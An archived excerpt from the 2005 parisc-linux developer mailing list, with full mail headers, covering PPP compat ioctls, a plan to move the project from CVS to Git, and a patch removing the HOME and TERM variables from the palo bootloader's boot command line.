>  - SIOCGPPP* ioctls are defines as SIOCDEVPRIVATE + n, so they'd
>    kick in for all private ioctls which is defintely wrong.
> 
> to implement proper ppp compat_ioctl handlig we'd need a compat_ioctl
> method in struct net_device, which we don't have yet.

While I agree that this is theoretically wrong, the problem is that if
we remove them, people using ppp on 64-bit PA machines will no longer be
able to do so.  And yes, there are some, that's why these got added in
the first place.

Perhaps I'll look into the compat_ioctl route later.  In any case, I
would prefer this patch not be added for the moment.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Migrating from CVS to Git
Date: Mon, 21 Nov 2005 09:54:11 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20051121165411.GF1598@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624566 27348 80.91.229.3 (22 Nov 2014 02:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2005 16:54:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 21 Nov 2005 17:54:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2FC67D676;
	Mon, 21 Nov 2005 09:54:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32267-09; Mon, 21 Nov 2005 09:54:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D1D67D678;
	Mon, 21 Nov 2005 09:54:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 625F47D674
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 09:54:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32275-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 09:54:11 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D67D07D671
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 09:54:11 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 7C6B34940E8; Mon, 21 Nov 2005 09:54:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 574F54940D7; Mon, 21 Nov 2005 09:54:11 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m57zY/84eSEkSb6WZHQhaXN1IGRvb8Cq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25205

I'm investigating what needs to be done to switch us from CVS to Git.
So far I've done:

 - Set up a shared repository (current people with commit access:
   bame,carlos,deller,grundler,jejb,kyle,rbrad,tausq,varenet,willy
   others will be added on an ad-hoc basis)
 - Changes made to that repository get sent to the p-l-cvs mailing list
 - The repo is visible via gitweb: http://git.parisc-linux.org/
 - Changes are linked from the mailing list

What needs to be converted?

 - Tagging.  It's now essentially free.  A tag in git terms is just a
   ref.  You can add them at any point.  So we need to figure out what
   we want to bless as good.
 - Autobuilding.  This can change slightly as a result of how different
   tagging is.  Do we want to just build every time there's a commit?
   It'd be a bit wasteful, but CPU and disk is cheap.
 - Documentation.  There's the git tutorials to link to, but something
   specific to "Here's how you work on the p-l tree" would make the
   learning curve less steep.
 - Merging to Linus.  This should hopefully be an easier process,
   being easier to cherry-pick changesets out of our shared repo.
 - Merging from Linus.  We can now pull whenever we like, but how often
   should we pull, and what bits of Linus' dev tree do we want to
   inflict on our users?  ;-)

I'm sure there are other things that need to be converted and discussed.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Migrating from CVS to Git
Date: Mon, 21 Nov 2005 15:25:22 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20051121222522.GB25773@colo.lackof.org>
References: <20051121165411.GF1598@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624567 27352 80.91.229.3 (22 Nov 2014 02:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2005 22:17:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 21 Nov 2005 23:17:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37BFA7D6A4;
	Mon, 21 Nov 2005 15:17:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01825-10; Mon, 21 Nov 2005 15:17:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A8EC7D6A6;
	Mon, 21 Nov 2005 15:17:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FCFF7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 15:17:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01825-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 15:17:30 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0EFBA7D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 15:17:30 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B049F4940E8; Mon, 21 Nov 2005 15:17:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 67C7C4940D7
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Nov 2005 15:17:29 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 61B9729803C;
	Mon, 21 Nov 2005 15:25:24 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27760-09; Mon, 21 Nov 2005 15:25:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 01E8529802F; Mon, 21 Nov 2005 15:25:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051121165411.GF1598@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1SLwY55xeSEkMr6WZHQhaXN1IGRvb8B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25206

On Mon, Nov 21, 2005 at 09:54:11AM -0700, Matthew Wilcox wrote:
> I'm investigating what needs to be done to switch us from CVS to Git.
> So far I've done:
> 
>  - Set up a shared repository (current people with commit access:
>    bame,carlos,deller,grundler,jejb,kyle,rbrad,tausq,varenet,willy
>    others will be added on an ad-hoc basis)
>  - Changes made to that repository get sent to the p-l-cvs mailing list
>  - The repo is visible via gitweb: http://git.parisc-linux.org/
>  - Changes are linked from the mailing list

thanks!

> What needs to be converted?
> 
>  - Tagging.  It's now essentially free.  A tag in git terms is just a
>    ref.  You can add them at any point.  So we need to figure out what
>    we want to bless as good.

This is a distro problem. We should tag anything we change in the tree.

>  - Autobuilding.  This can change slightly as a result of how different
>    tagging is.  Do we want to just build every time there's a commit?

Something that anyone who has write access can trigger.
Just need to make sure we "commit" sets properly.
Will the Makefile commit will no longer trigger the auto-builder?

>    It'd be a bit wasteful, but CPU and disk is cheap.
>  - Documentation.  There's the git tutorials to link to, but something
>    specific to "Here's how you work on the p-l tree" would make the
>    learning curve less steep.

Thanks - I think what you already wrote should be sufficient for now:
	http://www.parisc-linux.org/faq/git.html

If someone is disappointed, please clone the content to wiki.parisc-linux.org
and improve it.

>  - Merging to Linus.  This should hopefully be an easier process,
>    being easier to cherry-pick changesets out of our shared repo.
>  - Merging from Linus.  We can now pull whenever we like, but how often
>    should we pull, and what bits of Linus' dev tree do we want to
>    inflict on our users?  ;-)

-rc releases is sufficient for me unless we some infrastructure broken
that needs faster turn-around to linus. I'm thinking of the spinlock
breakage that occurred when mingo's latest cleanup went in.

> I'm sure there are other things that need to be converted and discussed.

Given you already have gitview running, the auto-builder is the
only other tool I can think of.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Migrating from CVS to Git
Date: Mon, 21 Nov 2005 20:16:19 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20051122031619.GJ1598@parisc-linux.org>
References: <20051121165411.GF1598@parisc-linux.org>
	<20051121222522.GB25773@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624567 27356 80.91.229.3 (22 Nov 2014 02:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Nov 2005 03:16:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 22 Nov 2005 04:16:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE71A7D6A6;
	Mon, 21 Nov 2005 20:16:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03460-02; Mon, 21 Nov 2005 20:16:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D5D07D6AE;
	Mon, 21 Nov 2005 20:16:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B380F7D692
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:16:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02624-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:16:20 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 330D87D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:16:20 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B2C66494167; Mon, 21 Nov 2005 20:16:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 76F634940E8; Mon, 21 Nov 2005 20:16:19 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051121222522.GB25773@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2ujwY44zeSEkVr6WZHQhaXN1IGRvbwBq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25207

On Mon, Nov 21, 2005 at 03:25:22PM -0700, Grant Grundler wrote:
> >  - Tagging.  It's now essentially free.  A tag in git terms is just a
> >    ref.  You can add them at any point.  So we need to figure out what
> >    we want to bless as good.
> 
> This is a distro problem. We should tag anything we change in the tree.

We don't need to any more.  We have a sha1 number (which is part of the
commit mail) that allows us to recover the state of the tree after any
commit.

> >  - Autobuilding.  This can change slightly as a result of how different
> >    tagging is.  Do we want to just build every time there's a commit?
> 
> Something that anyone who has write access can trigger.
> Just need to make sure we "commit" sets properly.
> Will the Makefile commit will no longer trigger the auto-builder?

I was hoping we'd no longer have to do Makefile commits.  Maybe we still
want to, though?

> Thanks - I think what you already wrote should be sufficient for now:
> 	http://www.parisc-linux.org/faq/git.html
> 
> If someone is disappointed, please clone the content to wiki.parisc-linux.org
> and improve it.

I thought about doing it on the wiki to begin with, but thought we
should have the git docs somewhere official first.

> -rc releases is sufficient for me unless we some infrastructure broken
> that needs faster turn-around to linus. I'm thinking of the spinlock
> breakage that occurred when mingo's latest cleanup went in.

I was thinking along similar lines.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo patch : remove useless TERM and HOME variables
Date: Sat, 26 Nov 2005 16:37:48 +0100
Lines: 136
Approved: news@gmane.org
Message-ID: <20051126163748.3c0fcb37.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Sat__26_Nov_2005_16_37_48_+0100_90d=VQ9K9fNwb6aQ"
X-Trace: ger.gmane.org 1416624567 27360 80.91.229.3 (22 Nov 2014 02:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2005 15:35:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 26 Nov 2005 16:35:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B79687D6AC;
	Sat, 26 Nov 2005 08:35:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01719-05; Sat, 26 Nov 2005 08:35:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FDF07D6B0;
	Sat, 26 Nov 2005 08:35:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F182A7D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 08:35:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01719-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 08:35:14 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 62C7A7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 08:35:14 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 348D04940D4; Sat, 26 Nov 2005 08:35:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from outmx025.isp.belgacom.be (outmx025.isp.belgacom.be
	[195.238.2.49]) by palinux.hppa (Postfix) with ESMTP id C5157494005
	for <parisc-linux@parisc-linux.org>;
	Sat, 26 Nov 2005 08:35:13 -0700 (MST)
Original-Received: from outmx025.isp.belgacom.be (localhost [127.0.0.1])
	by outmx025.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jAQFZ1SC027542
	for <parisc-linux@parisc-linux.org>; Sat, 26 Nov 2005 16:35:01 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from ibiza.lln.tuxicoman.be (159-155.245.81.adsl.skynet.be
	[81.245.155.159])
	by outmx025.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jAQFYwFM027511
	for <parisc-linux@parisc-linux.org>; Sat, 26 Nov 2005 16:34:58 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from bleh.lln.tuxicoman.be ([172.19.0.2])
	by ibiza.lln.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.50) id 1Eg24o-0004S1-Gn
	for parisc-linux@parisc-linux.org; Sat, 26 Nov 2005 16:34:58 +0100
X-Mailer: Sylpheed version 1.0.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7eX6Y50/eSEkdb6WZHQhaXN1IGRvbwAX
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25208

This is a multi-part message in MIME format.

--Multipart=_Sat__26_Nov_2005_16_37_48_+0100_90d=VQ9K9fNwb6aQ
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi all,

The trivial attached patch remove the need of HOME and TERM into the boot command line.
This is usfull for gentoo livecd to which we sometimes have to pass long boot command lines.

Cheers



-- 
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team

--Multipart=_Sat__26_Nov_2005_16_37_48_+0100_90d=VQ9K9fNwb6aQ
Content-Type: text/x-patch;
 name="palo-remove-HOME-TERM.patch"
Content-Disposition: attachment;
 filename="palo-remove-HOME-TERM.patch"
Content-Transfer-Encoding: 7bit

diff -uNr palo.orig/Makefile palo/Makefile
--- palo.orig/Makefile	2004-05-17 13:39:00.431714000 +0200
+++ palo/Makefile	2004-05-17 13:39:45.221714000 +0200
@@ -56,7 +56,7 @@
     ROOT=root=/dev/nfs nfsroot=${NFSROOT} ip=bootp
 endif
 
-CMDLINE = 0/vmlinux HOME=/ TERM=linux $(ROOT) $(EISAIRQ) $(CONSOLE)
+CMDLINE = 0/vmlinux $(ROOT) $(EISAIRQ) $(CONSOLE)
 
 all: makepalo README palo.conf
 	
diff -uNr palo.orig/README palo/README
--- palo.orig/README	2004-05-17 13:39:00.431714000 +0200
+++ palo/README	2004-05-17 13:40:09.341714000 +0200
@@ -42,13 +42,13 @@
        files to it, unmount.
      * Use palo to make the disk bootable:
         $ palo \
-             -c "5/vmlinux HOME=/ TERM=linux console=tty" \
+             -c "5/vmlinux console=tty" \
              -k path/to/vmlinux \
              -I /dev/your-disk
 
       On a self-hosted system, you can accomplish the same thing by placing
       the following into /etc/palo.conf:
-   --commandline=5/vmlinux HOME=/ TERM=linux console=tty
+   --commandline=5/vmlinux console=tty
    --recoverykernel=/boot/vmlinux
    --init-partitioned=/dev/your-disk
 
diff -uNr palo.orig/README.html palo/README.html
--- palo.orig/README.html	2004-05-17 13:39:00.431714000 +0200
+++ palo/README.html	2004-05-17 13:40:27.801714000 +0200
@@ -52,13 +52,13 @@
     <p><li>Use <i>palo</i> to make the disk bootable:
     <pre>
 	$ palo \
-	     -c "5/vmlinux HOME=/ TERM=linux console=tty" \
+	     -c "5/vmlinux console=tty" \
 	     -k path/to/vmlinux \
 	     -I /dev/your-disk</pre>
 <center><table border=1 bgcolor=yellow width=80%><tr><td>
 On a self-hosted system, you can accomplish the same thing by placing
 the following into <tt>/etc/palo.conf</tt>:
-<pre>--commandline=5/vmlinux HOME=/ TERM=linux console=tty
+<pre>--commandline=5/vmlinux console=tty
 --recoverykernel=/boot/vmlinux
 --init-partitioned=/dev/your-disk</pre>
 and running <i>palo</i>.
diff -uNr palo.orig/ipl/ipl.c palo/ipl/ipl.c
--- palo.orig/ipl/ipl.c	2004-05-17 13:39:00.491714000 +0200
+++ palo/ipl/ipl.c	2004-05-17 13:39:19.681714000 +0200
@@ -481,9 +481,6 @@
 	        chk_strcat(commandline, "ttyB0", CMDLINELEN, &ok);
             else
 	        chk_strcat(commandline, "ttyS0", CMDLINELEN, &ok);
-
-	    if (strstr(commandline, " TERM=") == 0)
-	        chk_strcat(commandline, " TERM=vt102", CMDLINELEN, &ok);
 	}
 	else
 	{
@@ -519,8 +516,6 @@
 	    }
 	    if (strstr(commandline, " sti_font=") == 0)
 	        chk_strcat(commandline, " sti_font=VGA8x16", CMDLINELEN, &ok);
-	    if (strstr(commandline, " TERM=") == 0)
-	        chk_strcat(commandline, " TERM=linux", CMDLINELEN, &ok);
 	}
     }
 
diff -uNr palo.orig/palo.conf palo/palo.conf
--- palo.orig/palo.conf	2004-05-17 13:39:00.431714000 +0200
+++ palo/palo.conf	2004-05-17 13:41:01.541714000 +0200
@@ -8,7 +8,7 @@
 # recovery kernel, and the default dynamically-booted kernel.
 # --recoverykernel=/boot/vmlinux
 # --init-partitioned=/dev/sda
-# --commandline=3/boot/vmlinux HOME=/ TERM=linux root=/dev/sda3
+# --commandline=3/boot/vmlinux root=/dev/sda3
 
 #
 #Usage: palo [options]
@@ -18,8 +18,8 @@
 #		Maximum 127 characters.
 #    -k, --recoverykernel=path to recovery kernel (perhaps /boot/vmlinux)
 #    -b, --bootloader=path to boot loader
-		Defaults to /usr/share/palo/iplboot -- you usually don't
-		need to use -b or --bootloader
+#		Defaults to /usr/share/palo/iplboot -- you usually don't
+#		need to use -b or --bootloader
 #    -r, --ramdisk=path to initial ramdisk image
 #    -I, --init-partitioned=partitioned device or file
 #    		Initialize a pre-partitioned device, usually a hard disk.

--Multipart=_Sat__26_Nov_2005_16_37_48_+0100_90d=VQ9K9fNwb6aQ
Content-Type: text/plain; charset="us-ascii"
